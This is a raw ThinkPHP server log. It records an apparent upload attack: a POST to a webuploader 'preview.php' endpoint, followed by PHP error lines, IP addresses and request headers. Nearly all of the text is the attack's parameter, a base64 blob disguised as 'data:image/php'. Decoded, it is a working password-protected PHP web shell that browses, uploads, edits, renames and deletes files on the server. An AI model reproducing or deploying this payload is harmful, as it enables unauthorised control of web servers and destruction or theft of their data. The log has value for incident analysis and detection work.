'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:08:49+08:00 ] 119.42.146.234 POST 59.110.137.245/static/common/js/webuploader/0.1.15/server/preview.php [运行时间:0.002699s] [吞吐率:370.52req/s] [内存消耗:196.78kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'common', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 